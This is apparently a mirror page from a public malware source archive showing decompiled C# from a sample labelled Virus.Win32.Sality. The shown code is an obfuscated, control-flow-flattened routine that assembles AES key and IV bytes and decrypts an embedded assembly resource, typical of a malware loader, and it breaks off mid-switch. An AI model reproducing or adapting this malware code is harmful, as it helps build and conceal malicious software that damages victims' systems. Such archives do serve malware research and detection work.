mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
f2ac1ece55
add
2600 lines
159 KiB
C#
2600 lines
159 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: .
|
||
// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||
// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
|
||
|
||
using \u0001;
|
||
using \u0008;
|
||
using SmartAssembly.SmartExceptionsCore;
|
||
using System;
|
||
using System.Collections;
|
||
using System.Collections.Generic;
|
||
using System.IO;
|
||
using System.Reflection;
|
||
using System.Runtime.CompilerServices;
|
||
using System.Runtime.InteropServices;
|
||
using System.Security.Cryptography;
|
||
using System.Text;
|
||
|
||
namespace \u0008
|
||
{
|
||
internal sealed class \u0002
|
||
{
|
||
[NonSerialized]
|
||
internal static \u0002 \u0001;
|
||
private static byte[] \u0001;
|
||
private static byte[] \u0002;
|
||
private static byte[] \u0003;
|
||
private static IntPtr \u0001;
|
||
private static bool \u0001;
|
||
private static int \u0001;
|
||
internal static \u0002.\u0001 \u0001;
|
||
private static long \u0001;
|
||
private static bool \u0002;
|
||
private static SortedList \u0001;
|
||
private static byte[] \u0004;
|
||
private static int \u0002;
|
||
internal static Dictionary<long, \u0002.\u0002> \u0001;
|
||
private static long \u0002;
|
||
private static IntPtr \u0002;
|
||
private static object \u0001;
|
||
private static IntPtr \u0003;
|
||
private static int \u0003;
|
||
private static int[] \u0001;
|
||
private static int \u0004;
|
||
internal static \u0002.\u0001 \u0002;
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
static \u0002()
|
||
{
|
||
try
|
||
{
|
||
\u0003.\u0003();
|
||
\u0002.\u0001 = new byte[0];
|
||
\u0002.\u0002 = new byte[0];
|
||
\u0002.\u0004 = new byte[0];
|
||
\u0002.\u0003 = new byte[0];
|
||
\u0002.\u0003 = IntPtr.Zero;
|
||
\u0002.\u0001 = IntPtr.Zero;
|
||
\u0002.\u0001 = (object) new string[0];
|
||
\u0002.\u0001 = new int[0];
|
||
\u0002.\u0003 = 1;
|
||
\u0002.\u0001 = false;
|
||
\u0002.\u0001 = new SortedList();
|
||
\u0002.\u0001 = 0;
|
||
\u0002.\u0002 = 0L;
|
||
\u0002.\u0002 = (\u0002.\u0001) null;
|
||
\u0002.\u0001 = (\u0002.\u0001) null;
|
||
\u0002.\u0001 = 0L;
|
||
\u0002.\u0002 = 0;
|
||
\u0002.\u0002 = false;
|
||
\u0002.\u0004 = 0;
|
||
\u0002.\u0002 = IntPtr.Zero;
|
||
\u0002.\u0001 = new Dictionary<long, \u0002.\u0002>();
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
throw UnhandledException.\u0003(ex);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
static string \u0003([In] int obj0)
|
||
{
|
||
byte[] numArray1;
|
||
int num1;
|
||
int num2;
|
||
byte[] numArray2;
|
||
int num3;
|
||
byte[] numArray3;
|
||
byte[] numArray4;
|
||
RijndaelManaged rijndaelManaged;
|
||
byte[] numArray5;
|
||
ICryptoTransform transform;
|
||
MemoryStream memoryStream;
|
||
BinaryReader binaryReader;
|
||
int num4;
|
||
CryptoStream cryptoStream;
|
||
byte[] numArray6;
|
||
try
|
||
{
|
||
int num5 = 233;
|
||
label_331:
|
||
while (true)
|
||
{
|
||
num3 = num5;
|
||
label_332:
|
||
while (true)
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
do
|
||
{
|
||
int num6 = num3;
|
||
while (true)
|
||
{
|
||
switch (num6)
|
||
{
|
||
case 0:
|
||
num2 = 70 + 39;
|
||
num6 = 208;
|
||
continue;
|
||
case 1:
|
||
num1 = 16 + 112;
|
||
num3 = 42;
|
||
if (true)
|
||
goto label_332;
|
||
else
|
||
goto case 279;
|
||
case 2:
|
||
numArray2[24] = (byte) (52 + 45);
|
||
num3 = 189;
|
||
if (\u0002.\u0004())
|
||
goto case 121;
|
||
else
|
||
goto label_332;
|
||
case 3:
|
||
goto label_37;
|
||
case 4:
|
||
goto label_242;
|
||
case 5:
|
||
num2 = 179 - 59;
|
||
num6 = 286;
|
||
continue;
|
||
case 6:
|
||
num1 = 22 + 12;
|
||
num6 = 78;
|
||
continue;
|
||
case 7:
|
||
goto label_24;
|
||
case 8:
|
||
num2 = 71 + 108;
|
||
num6 = 131;
|
||
continue;
|
||
case 9:
|
||
numArray3 = numArray1;
|
||
num6 = 90;
|
||
continue;
|
||
case 10:
|
||
goto label_306;
|
||
case 11:
|
||
goto label_354;
|
||
case 12:
|
||
goto label_294;
|
||
case 13:
|
||
goto label_258;
|
||
case 14:
|
||
goto label_327;
|
||
case 15:
|
||
num1 = 22 + 16;
|
||
num6 = 251;
|
||
continue;
|
||
case 16:
|
||
numArray2[23] = (byte) num2;
|
||
goto case 155;
|
||
case 17:
|
||
numArray2[5] = (byte) (74 + 33);
|
||
num6 = 23;
|
||
continue;
|
||
case 18:
|
||
numArray2[7] = (byte) (176 - 58);
|
||
num3 = 237;
|
||
if (!\u0002.\u0003())
|
||
goto case 265;
|
||
else
|
||
goto label_332;
|
||
case 19:
|
||
goto label_15;
|
||
case 20:
|
||
goto label_115;
|
||
case 21:
|
||
numArray2[3] = (byte) (13 + 103);
|
||
num6 = 148;
|
||
continue;
|
||
case 22:
|
||
goto label_210;
|
||
case 23:
|
||
goto label_74;
|
||
case 24:
|
||
goto label_79;
|
||
case 25:
|
||
goto label_72;
|
||
case 26:
|
||
num1 = 160 - 53;
|
||
num3 = 123;
|
||
if (true)
|
||
goto label_332;
|
||
else
|
||
goto case 129;
|
||
case 27:
|
||
numArray1[2] = (byte) (7 + 3);
|
||
num6 = 248;
|
||
continue;
|
||
case 28:
|
||
goto label_260;
|
||
case 29:
|
||
goto label_163;
|
||
case 30:
|
||
numArray1[6] = (byte) (214 - 71);
|
||
num3 = 145;
|
||
if (true)
|
||
goto label_332;
|
||
else
|
||
goto case 93;
|
||
case 31:
|
||
goto label_138;
|
||
case 32:
|
||
goto label_49;
|
||
case 33:
|
||
goto label_191;
|
||
case 34:
|
||
goto label_283;
|
||
case 35:
|
||
num2 = 119 + 9;
|
||
num6 = 185;
|
||
continue;
|
||
case 36:
|
||
goto label_44;
|
||
case 37:
|
||
num2 = 120 - 47;
|
||
num3 = 205;
|
||
if (\u0002.\u0004())
|
||
goto case 94;
|
||
else
|
||
goto label_332;
|
||
case 38:
|
||
num1 = 226 - 120;
|
||
num6 = 262;
|
||
continue;
|
||
case 39:
|
||
num1 = 235 - 78;
|
||
num3 = 87;
|
||
if (true)
|
||
goto label_332;
|
||
else
|
||
goto case 326;
|
||
case 40:
|
||
goto label_8;
|
||
case 41:
|
||
num2 = 243 - 81;
|
||
num6 = 52;
|
||
continue;
|
||
case 42:
|
||
goto label_52;
|
||
case 43:
|
||
numArray1[6] = (byte) num1;
|
||
num6 = 28;
|
||
continue;
|
||
case 44:
|
||
goto label_277;
|
||
case 45:
|
||
goto label_162;
|
||
case 46:
|
||
num2 = 48 + 108;
|
||
num3 = 176;
|
||
if (true)
|
||
goto label_332;
|
||
else
|
||
goto case 162;
|
||
case 47:
|
||
goto label_114;
|
||
case 48:
|
||
goto label_67;
|
||
case 49:
|
||
goto label_239;
|
||
case 50:
|
||
numArray6 = (byte[]) \u0002.\u0003((object) binaryReader, (int) \u0002.\u0003(\u0002.\u0003((object) binaryReader)));
|
||
num6 = 191;
|
||
continue;
|
||
case 51:
|
||
numArray3[15] = numArray4[7];
|
||
num3 = 272;
|
||
if (!\u0002.\u0004())
|
||
goto label_332;
|
||
else
|
||
goto case 26;
|
||
case 52:
|
||
goto label_200;
|
||
case 53:
|
||
goto label_194;
|
||
case 54:
|
||
case 92:
|
||
goto label_263;
|
||
case 55:
|
||
goto label_70;
|
||
case 56:
|
||
goto label_147;
|
||
case 57:
|
||
goto label_89;
|
||
case 58:
|
||
numArray2[21] = (byte) num2;
|
||
num6 = 125;
|
||
continue;
|
||
case 59:
|
||
numArray2[15] = (byte) (203 - 67);
|
||
num6 = 85;
|
||
continue;
|
||
case 60:
|
||
goto label_158;
|
||
case 61:
|
||
goto label_66;
|
||
case 62:
|
||
goto label_141;
|
||
case 63:
|
||
goto label_64;
|
||
case 64:
|
||
num2 = 223 - 74;
|
||
num6 = 219;
|
||
continue;
|
||
case 65:
|
||
goto label_121;
|
||
case 66:
|
||
goto label_285;
|
||
case 67:
|
||
goto label_224;
|
||
case 68:
|
||
goto label_156;
|
||
case 69:
|
||
goto label_195;
|
||
case 70:
|
||
numArray1[4] = (byte) (42 + 81);
|
||
num3 = 256;
|
||
if (!\u0002.\u0003())
|
||
goto case 341;
|
||
else
|
||
goto label_332;
|
||
case 71:
|
||
numArray2[5] = (byte) num2;
|
||
num3 = 319;
|
||
if (\u0002.\u0004())
|
||
goto case 343;
|
||
else
|
||
goto label_332;
|
||
case 72:
|
||
goto label_9;
|
||
case 73:
|
||
goto label_155;
|
||
case 74:
|
||
numArray2[30] = (byte) (30 + 37);
|
||
num3 = 100;
|
||
if (!\u0002.\u0003())
|
||
goto case 208;
|
||
else
|
||
goto label_332;
|
||
case 75:
|
||
goto label_71;
|
||
case 76:
|
||
goto label_12;
|
||
case 77:
|
||
numArray1[3] = (byte) (251 - 83);
|
||
num6 = 245;
|
||
continue;
|
||
case 78:
|
||
numArray1[5] = (byte) num1;
|
||
num6 = 67;
|
||
continue;
|
||
case 79:
|
||
goto label_92;
|
||
case 80:
|
||
goto label_42;
|
||
case 81:
|
||
goto label_153;
|
||
case 82:
|
||
numArray1[12] = (byte) ((int) sbyte.MaxValue - 42);
|
||
num6 = 197;
|
||
continue;
|
||
case 83:
|
||
goto label_340;
|
||
case 84:
|
||
numArray2[10] = (byte) (164 - 54);
|
||
num3 = 204;
|
||
if (true)
|
||
goto label_332;
|
||
else
|
||
goto case 90;
|
||
case 85:
|
||
numArray2[15] = (byte) (135 - 45);
|
||
num6 = 138;
|
||
continue;
|
||
case 86:
|
||
goto label_172;
|
||
case 87:
|
||
goto label_61;
|
||
case 88:
|
||
goto label_209;
|
||
case 89:
|
||
goto label_176;
|
||
case 90:
|
||
// ISSUE: type reference
|
||
numArray4 = (byte[]) \u0002.\u0005(\u0002.\u0004((object) \u0002.\u0003(__typeref (\u0002)).Assembly));
|
||
num3 = 198;
|
||
if (\u0002.\u0004())
|
||
goto case 151;
|
||
else
|
||
goto label_332;
|
||
case 91:
|
||
goto label_244;
|
||
case 93:
|
||
num2 = 100 + 70;
|
||
num3 = 309;
|
||
if (\u0002.\u0004())
|
||
goto case 161;
|
||
else
|
||
goto label_332;
|
||
case 94:
|
||
num2 = 241 - 80;
|
||
num6 = 108;
|
||
continue;
|
||
case 95:
|
||
num2 = 211 - 110;
|
||
num6 = 53;
|
||
continue;
|
||
case 96:
|
||
goto label_238;
|
||
case 97:
|
||
goto label_80;
|
||
case 98:
|
||
goto label_346;
|
||
case 99:
|
||
goto label_274;
|
||
case 100:
|
||
numArray2[30] = (byte) (195 - 65);
|
||
num3 = 213;
|
||
if (!\u0002.\u0004())
|
||
goto label_332;
|
||
else
|
||
goto case 186;
|
||
case 101:
|
||
goto label_179;
|
||
case 102:
|
||
goto label_310;
|
||
case 103:
|
||
goto label_101;
|
||
case 104:
|
||
goto label_304;
|
||
case 105:
|
||
goto label_166;
|
||
case 106:
|
||
goto label_117;
|
||
case 107:
|
||
goto label_233;
|
||
case 108:
|
||
goto label_202;
|
||
case 109:
|
||
goto label_38;
|
||
case 110:
|
||
num1 = 126 + 91;
|
||
num6 = 179;
|
||
continue;
|
||
case 111:
|
||
numArray2[14] = (byte) (96 + 54);
|
||
num6 = 99;
|
||
continue;
|
||
case 112:
|
||
numArray2[1] = (byte) num2;
|
||
num6 = 247;
|
||
continue;
|
||
case 113:
|
||
goto label_305;
|
||
case 114:
|
||
goto label_6;
|
||
case 115:
|
||
goto label_106;
|
||
case 116:
|
||
goto label_120;
|
||
case 117:
|
||
goto label_91;
|
||
case 118:
|
||
numArray2[1] = (byte) (139 - 106);
|
||
num6 = 334;
|
||
continue;
|
||
case 119:
|
||
numArray2[2] = (byte) (115 + 21);
|
||
num6 = 279;
|
||
continue;
|
||
case 120:
|
||
goto label_328;
|
||
case 121:
|
||
num1 = 154 - 51;
|
||
num6 = 229;
|
||
continue;
|
||
case 122:
|
||
goto label_45;
|
||
case 123:
|
||
numArray1[1] = (byte) num1;
|
||
num3 = 39;
|
||
if (!\u0002.\u0004())
|
||
goto label_332;
|
||
else
|
||
goto case 188;
|
||
case 124:
|
||
goto label_314;
|
||
case 125:
|
||
goto label_35;
|
||
case 126:
|
||
goto label_19;
|
||
case (int) sbyte.MaxValue:
|
||
numArray2[27] = (byte) (15 + 71);
|
||
num3 = 80;
|
||
if (!\u0002.\u0004())
|
||
goto label_332;
|
||
else
|
||
goto case 153;
|
||
case 128:
|
||
goto label_10;
|
||
case 129:
|
||
numArray1[10] = (byte) (53 + 91);
|
||
num6 = 139;
|
||
continue;
|
||
case 130:
|
||
goto label_259;
|
||
case 131:
|
||
numArray2[0] = (byte) num2;
|
||
num3 = 274;
|
||
if (true)
|
||
goto label_332;
|
||
else
|
||
goto case 38;
|
||
case 132:
|
||
goto label_88;
|
||
case 133:
|
||
goto label_157;
|
||
case 134:
|
||
numArray1[7] = (byte) (240 - 80);
|
||
num6 = 307;
|
||
continue;
|
||
case 135:
|
||
goto label_230;
|
||
case 136:
|
||
goto label_17;
|
||
case 137:
|
||
goto label_187;
|
||
case 138:
|
||
goto label_221;
|
||
case 139:
|
||
goto label_95;
|
||
case 140:
|
||
goto label_196;
|
||
case 141:
|
||
goto label_180;
|
||
case 142:
|
||
if (numArray4.Length > 0)
|
||
{
|
||
num6 = 156;
|
||
continue;
|
||
}
|
||
goto label_352;
|
||
case 143:
|
||
goto label_62;
|
||
case 144:
|
||
goto label_280;
|
||
case 145:
|
||
goto label_148;
|
||
case 146:
|
||
goto label_18;
|
||
case 147:
|
||
goto label_142;
|
||
case 148:
|
||
num2 = 186 - 62;
|
||
num6 = 253;
|
||
continue;
|
||
case 149:
|
||
numArray2[9] = (byte) (177 - 59);
|
||
num6 = 257;
|
||
continue;
|
||
case 150:
|
||
goto label_353;
|
||
case 151:
|
||
numArray2[23] = (byte) (100 + 20);
|
||
num3 = 226;
|
||
if (\u0002.\u0004())
|
||
goto case 155;
|
||
else
|
||
goto label_332;
|
||
case 152:
|
||
numArray2[10] = (byte) (43 + 76);
|
||
num6 = 120;
|
||
continue;
|
||
case 153:
|
||
numArray1[6] = (byte) num1;
|
||
num6 = 30;
|
||
continue;
|
||
case 154:
|
||
\u0002.\u0003(\u0002.\u0003((object) binaryReader), 0L);
|
||
num3 = 333;
|
||
if (true)
|
||
goto label_332;
|
||
else
|
||
goto case 37;
|
||
case 155:
|
||
case 321:
|
||
num2 = 170 - 56;
|
||
num6 = 241;
|
||
continue;
|
||
case 156:
|
||
numArray3[1] = numArray4[0];
|
||
num6 = 29;
|
||
continue;
|
||
case 157:
|
||
numArray2[23] = (byte) (82 - 73);
|
||
num3 = 2;
|
||
if (!\u0002.\u0004())
|
||
goto label_332;
|
||
else
|
||
goto case 208;
|
||
case 158:
|
||
goto label_276;
|
||
case 159:
|
||
goto label_330;
|
||
case 160:
|
||
numArray1[1] = (byte) num1;
|
||
num6 = 311;
|
||
continue;
|
||
case 161:
|
||
numArray2[23] = (byte) num2;
|
||
num6 = 157;
|
||
continue;
|
||
case 162:
|
||
numArray2[17] = (byte) num2;
|
||
num6 = 261;
|
||
continue;
|
||
case 163:
|
||
numArray1[1] = (byte) num1;
|
||
num6 = 27;
|
||
continue;
|
||
case 164:
|
||
goto label_267;
|
||
case 165:
|
||
goto label_291;
|
||
case 166:
|
||
goto label_315;
|
||
case 167:
|
||
numArray2[24] = (byte) (221 - 73);
|
||
num6 = 93;
|
||
continue;
|
||
case 168:
|
||
numArray2[13] = (byte) (139 - 46);
|
||
num6 = 283;
|
||
continue;
|
||
case 169:
|
||
goto label_34;
|
||
case 170:
|
||
numArray2[20] = (byte) num2;
|
||
num3 = 65;
|
||
if (true)
|
||
goto label_332;
|
||
else
|
||
goto case 197;
|
||
case 171:
|
||
num1 = 192 - 64;
|
||
num6 = 270;
|
||
continue;
|
||
case 172:
|
||
goto label_201;
|
||
case 173:
|
||
goto label_51;
|
||
case 174:
|
||
goto label_87;
|
||
case 175:
|
||
numArray1[3] = (byte) num1;
|
||
num6 = 77;
|
||
continue;
|
||
case 176:
|
||
goto label_63;
|
||
case 177:
|
||
num2 = 123 + 108;
|
||
num6 = 40;
|
||
continue;
|
||
case 178:
|
||
numArray2[29] = (byte) num2;
|
||
num6 = 35;
|
||
continue;
|
||
case 179:
|
||
numArray1[11] = (byte) num1;
|
||
num6 = 56;
|
||
continue;
|
||
case 180:
|
||
goto label_43;
|
||
case 181:
|
||
goto label_127;
|
||
case 182:
|
||
goto label_113;
|
||
case 183:
|
||
numArray2[22] = (byte) (36 + 113);
|
||
num6 = 0;
|
||
continue;
|
||
case 184:
|
||
goto label_329;
|
||
case 185:
|
||
goto label_97;
|
||
case 186:
|
||
num1 = 164 - 54;
|
||
num6 = 160;
|
||
continue;
|
||
case 187:
|
||
goto label_265;
|
||
case 188:
|
||
numArray1[9] = (byte) num1;
|
||
num3 = 171;
|
||
if (!\u0002.\u0004())
|
||
goto label_332;
|
||
else
|
||
goto case 177;
|
||
case 189:
|
||
goto label_341;
|
||
case 190:
|
||
numArray1[4] = (byte) (57 + 30);
|
||
num3 = 70;
|
||
if (\u0002.\u0004())
|
||
goto case 252;
|
||
else
|
||
goto label_332;
|
||
case 191:
|
||
goto label_7;
|
||
case 192:
|
||
numArray2[16] = (byte) num2;
|
||
num6 = 46;
|
||
continue;
|
||
case 193:
|
||
// ISSUE: type reference
|
||
binaryReader = new BinaryReader((Stream) \u0002.\u0003((object) \u0002.\u0003(__typeref (\u0002)).Assembly, (object) \u0006.\u0003(5700)));
|
||
num6 = 154;
|
||
continue;
|
||
case 194:
|
||
goto label_69;
|
||
case 195:
|
||
goto label_58;
|
||
case 196:
|
||
goto label_272;
|
||
case 197:
|
||
num1 = 63 + 83;
|
||
num3 = 218;
|
||
if (true)
|
||
goto label_332;
|
||
else
|
||
goto case 199;
|
||
case 198:
|
||
goto label_246;
|
||
case 199:
|
||
numArray2[18] = (byte) (86 + 23);
|
||
num3 = 130;
|
||
if (!\u0002.\u0003())
|
||
goto case 339;
|
||
else
|
||
goto label_332;
|
||
case 200:
|
||
num2 = 237 - 79;
|
||
num6 = 34;
|
||
continue;
|
||
case 201:
|
||
goto label_181;
|
||
case 202:
|
||
goto label_271;
|
||
case 203:
|
||
goto label_237;
|
||
case 204:
|
||
goto label_219;
|
||
case 205:
|
||
goto label_214;
|
||
case 206:
|
||
numArray2[8] = (byte) (86 + 74);
|
||
num6 = 285;
|
||
continue;
|
||
case 207:
|
||
goto label_48;
|
||
case 208:
|
||
numArray2[22] = (byte) num2;
|
||
num6 = 75;
|
||
continue;
|
||
case 209:
|
||
goto label_129;
|
||
case 210:
|
||
num2 = 156 - 52;
|
||
num6 = 81;
|
||
continue;
|
||
case 211:
|
||
goto label_186;
|
||
case 212:
|
||
goto label_59;
|
||
case 213:
|
||
goto label_248;
|
||
case 214:
|
||
numArray2[10] = (byte) num2;
|
||
num6 = 84;
|
||
continue;
|
||
case 215:
|
||
goto label_270;
|
||
case 216:
|
||
goto label_273;
|
||
case 217:
|
||
num2 = 252 - 84;
|
||
num6 = 146;
|
||
continue;
|
||
case 218:
|
||
goto label_73;
|
||
case 219:
|
||
goto label_122;
|
||
case 220:
|
||
goto label_342;
|
||
case 221:
|
||
num1 = 116 + 19;
|
||
num6 = 297;
|
||
continue;
|
||
case 222:
|
||
numArray1[14] = (byte) (134 - 44);
|
||
num6 = 303;
|
||
continue;
|
||
case 223:
|
||
num2 = 141 - 47;
|
||
num6 = 342;
|
||
continue;
|
||
case 224:
|
||
goto label_55;
|
||
case 225:
|
||
goto label_215;
|
||
case 226:
|
||
goto label_245;
|
||
case 227:
|
||
numArray2[20] = (byte) (12 + 41);
|
||
num3 = 135;
|
||
if (!\u0002.\u0003())
|
||
goto case 46;
|
||
else
|
||
goto label_332;
|
||
case 228:
|
||
goto label_323;
|
||
case 229:
|
||
goto label_130;
|
||
case 230:
|
||
numArray2[15] = (byte) (128 - 5);
|
||
num6 = 260;
|
||
continue;
|
||
case 231:
|
||
goto label_36;
|
||
case 232:
|
||
goto label_311;
|
||
case 233:
|
||
goto label_335;
|
||
case 234:
|
||
goto label_78;
|
||
case 235:
|
||
goto label_41;
|
||
case 236:
|
||
goto label_173;
|
||
case 237:
|
||
numArray2[7] = (byte) (33 + 16);
|
||
num6 = 236;
|
||
continue;
|
||
case 238:
|
||
goto label_47;
|
||
case 239:
|
||
num2 = 80 + 32;
|
||
num6 = 282;
|
||
continue;
|
||
case 240:
|
||
num2 = 47 + 101;
|
||
num6 = 66;
|
||
continue;
|
||
case 241:
|
||
numArray2[23] = (byte) num2;
|
||
num6 = 55;
|
||
continue;
|
||
case 242:
|
||
goto label_225;
|
||
case 243:
|
||
goto label_318;
|
||
case 244:
|
||
numArray2[3] = (byte) (52 + 75);
|
||
num6 = 73;
|
||
continue;
|
||
case 245:
|
||
numArray1[3] = (byte) (153 - 51);
|
||
num6 = 267;
|
||
continue;
|
||
case 246:
|
||
goto label_307;
|
||
case 247:
|
||
goto label_128;
|
||
case 248:
|
||
goto label_109;
|
||
case 249:
|
||
num2 = 121 + 9;
|
||
num6 = 209;
|
||
continue;
|
||
case 250:
|
||
goto label_232;
|
||
case 251:
|
||
goto label_206;
|
||
case 252:
|
||
num2 = 238 - 79;
|
||
num6 = 137;
|
||
continue;
|
||
case 253:
|
||
numArray2[3] = (byte) num2;
|
||
num3 = 288;
|
||
if (!\u0002.\u0004())
|
||
goto label_332;
|
||
else
|
||
goto case (int) sbyte.MaxValue;
|
||
case 254:
|
||
numArray1[2] = (byte) (74 + 21);
|
||
num6 = 88;
|
||
continue;
|
||
case (int) byte.MaxValue:
|
||
goto label_96;
|
||
case 256:
|
||
goto label_93;
|
||
case 257:
|
||
numArray2[9] = (byte) (82 + 46);
|
||
num3 = 301;
|
||
if (true)
|
||
goto label_332;
|
||
else
|
||
goto case 292;
|
||
case 258:
|
||
numArray2[11] = (byte) (130 - 43);
|
||
num3 = 343;
|
||
if (true)
|
||
goto label_332;
|
||
else
|
||
goto case 71;
|
||
case 259:
|
||
goto label_154;
|
||
case 260:
|
||
goto label_243;
|
||
case 261:
|
||
numArray2[17] = (byte) (167 - 67);
|
||
num6 = 234;
|
||
continue;
|
||
case 262:
|
||
numArray1[14] = (byte) num1;
|
||
num6 = 68;
|
||
continue;
|
||
case 263:
|
||
numArray2[7] = (byte) num2;
|
||
num3 = 206;
|
||
if (true)
|
||
goto label_332;
|
||
else
|
||
goto case 343;
|
||
case 264:
|
||
num1 = 45 + 56;
|
||
num6 = 153;
|
||
continue;
|
||
case 265:
|
||
numArray2[25] = (byte) (141 + 76);
|
||
num6 = 294;
|
||
continue;
|
||
case 266:
|
||
goto label_159;
|
||
case 267:
|
||
goto label_205;
|
||
case 268:
|
||
goto label_68;
|
||
case 269:
|
||
goto label_119;
|
||
case 270:
|
||
numArray1[9] = (byte) num1;
|
||
num6 = 1;
|
||
continue;
|
||
case 271:
|
||
numArray1[0] = (byte) (237 - 79);
|
||
num6 = 20;
|
||
continue;
|
||
case 272:
|
||
goto label_352;
|
||
case 273:
|
||
numArray1[8] = (byte) (120 - 70);
|
||
num6 = 24;
|
||
continue;
|
||
case 274:
|
||
goto label_11;
|
||
case 275:
|
||
\u0002.\u0003((object) rijndaelManaged, CipherMode.CBC);
|
||
num6 = 238;
|
||
continue;
|
||
case 276:
|
||
numArray2[18] = (byte) (181 - 113);
|
||
num3 = 243;
|
||
if (\u0002.\u0004())
|
||
goto case 325;
|
||
else
|
||
goto label_332;
|
||
case 277:
|
||
goto label_174;
|
||
case 278:
|
||
numArray2[0] = (byte) num2;
|
||
num3 = 180;
|
||
if (true)
|
||
goto label_332;
|
||
else
|
||
goto case 112;
|
||
case 279:
|
||
numArray2[2] = (byte) (46 - 40);
|
||
num6 = 89;
|
||
continue;
|
||
case 280:
|
||
numArray1[3] = (byte) num1;
|
||
num6 = 291;
|
||
continue;
|
||
case 281:
|
||
goto label_2;
|
||
case 282:
|
||
goto label_229;
|
||
case 283:
|
||
numArray2[13] = (byte) (149 + 31);
|
||
num3 = 111;
|
||
if (true)
|
||
goto label_332;
|
||
else
|
||
goto case 278;
|
||
case 284:
|
||
goto label_297;
|
||
case 285:
|
||
numArray2[8] = (byte) (152 - 50);
|
||
if (!\u0002.\u0003())
|
||
{
|
||
num6 = 321;
|
||
continue;
|
||
}
|
||
num3 = 92;
|
||
if (true)
|
||
goto label_332;
|
||
else
|
||
goto case 21;
|
||
case 286:
|
||
numArray2[12] = (byte) num2;
|
||
num6 = 310;
|
||
continue;
|
||
case 287:
|
||
goto label_132;
|
||
case 288:
|
||
goto label_322;
|
||
case 289:
|
||
numArray2[31] = (byte) (78 + 91);
|
||
num6 = 4;
|
||
continue;
|
||
case 290:
|
||
goto label_146;
|
||
case 291:
|
||
goto label_254;
|
||
case 292:
|
||
num2 = 151 - 79;
|
||
num3 = 174;
|
||
if (true)
|
||
goto label_332;
|
||
else
|
||
goto case 168;
|
||
case 293:
|
||
numArray2[12] = (byte) (15 + 39);
|
||
num6 = 329;
|
||
continue;
|
||
case 294:
|
||
goto label_16;
|
||
case 295:
|
||
numArray2[2] = (byte) num2;
|
||
num6 = 119;
|
||
continue;
|
||
case 296:
|
||
goto label_189;
|
||
case 297:
|
||
goto label_112;
|
||
case 298:
|
||
num2 = 203 - 67;
|
||
num6 = 335;
|
||
continue;
|
||
case 299:
|
||
goto label_339;
|
||
case 300:
|
||
num2 = 73 + 56;
|
||
num6 = 147;
|
||
continue;
|
||
case 301:
|
||
num2 = 168 + 64;
|
||
num6 = 109;
|
||
continue;
|
||
case 302:
|
||
goto label_190;
|
||
case 303:
|
||
goto label_177;
|
||
case 304:
|
||
goto label_137;
|
||
case 305:
|
||
goto label_284;
|
||
case 306:
|
||
numArray3[7] = numArray4[3];
|
||
num6 = 86;
|
||
continue;
|
||
case 307:
|
||
goto label_183;
|
||
case 308:
|
||
goto label_29;
|
||
case 309:
|
||
goto label_316;
|
||
case 310:
|
||
goto label_269;
|
||
case 311:
|
||
goto label_136;
|
||
case 312:
|
||
numArray2[26] = (byte) (141 + 28);
|
||
num6 = 13;
|
||
continue;
|
||
case 313:
|
||
goto label_188;
|
||
case 314:
|
||
goto label_103;
|
||
case 315:
|
||
goto label_325;
|
||
case 316:
|
||
goto label_266;
|
||
case 317:
|
||
numArray2[16] = (byte) num2;
|
||
num3 = 323;
|
||
if (\u0002.\u0003())
|
||
goto label_332;
|
||
else
|
||
goto case 329;
|
||
case 318:
|
||
goto label_199;
|
||
case 319:
|
||
goto label_90;
|
||
case 320:
|
||
num2 = 99 + 93;
|
||
num6 = 115;
|
||
continue;
|
||
case 322:
|
||
goto label_220;
|
||
case 323:
|
||
num2 = 103 - 88;
|
||
num3 = 192;
|
||
if (!\u0002.\u0003())
|
||
goto case 8;
|
||
else
|
||
goto label_332;
|
||
case 324:
|
||
goto label_94;
|
||
case 325:
|
||
num2 = 148 - 49;
|
||
num3 = 228;
|
||
if (\u0002.\u0003())
|
||
goto label_332;
|
||
else
|
||
goto case 110;
|
||
case 326:
|
||
numArray2[17] = (byte) (12 + 54);
|
||
num6 = 207;
|
||
continue;
|
||
case 327:
|
||
num2 = 20 + 89;
|
||
num3 = 114;
|
||
if (\u0002.\u0004())
|
||
goto case 161;
|
||
else
|
||
goto label_332;
|
||
case 328:
|
||
goto label_30;
|
||
case 329:
|
||
num2 = 142 - 47;
|
||
num6 = 122;
|
||
continue;
|
||
case 330:
|
||
goto label_275;
|
||
case 331:
|
||
goto label_125;
|
||
case 332:
|
||
numArray2[31] = (byte) (100 + 38);
|
||
num6 = 95;
|
||
continue;
|
||
case 333:
|
||
\u0002.\u0003(true);
|
||
num6 = 50;
|
||
continue;
|
||
case 334:
|
||
num2 = 18 + 26;
|
||
num6 = 295;
|
||
continue;
|
||
case 335:
|
||
goto label_133;
|
||
case 336:
|
||
goto label_39;
|
||
case 337:
|
||
goto label_231;
|
||
case 338:
|
||
goto label_208;
|
||
case 339:
|
||
numArray2[31] = (byte) num2;
|
||
num6 = 231;
|
||
continue;
|
||
case 340:
|
||
goto label_57;
|
||
case 341:
|
||
numArray2[20] = (byte) (144 - 48);
|
||
num3 = 336;
|
||
if (true)
|
||
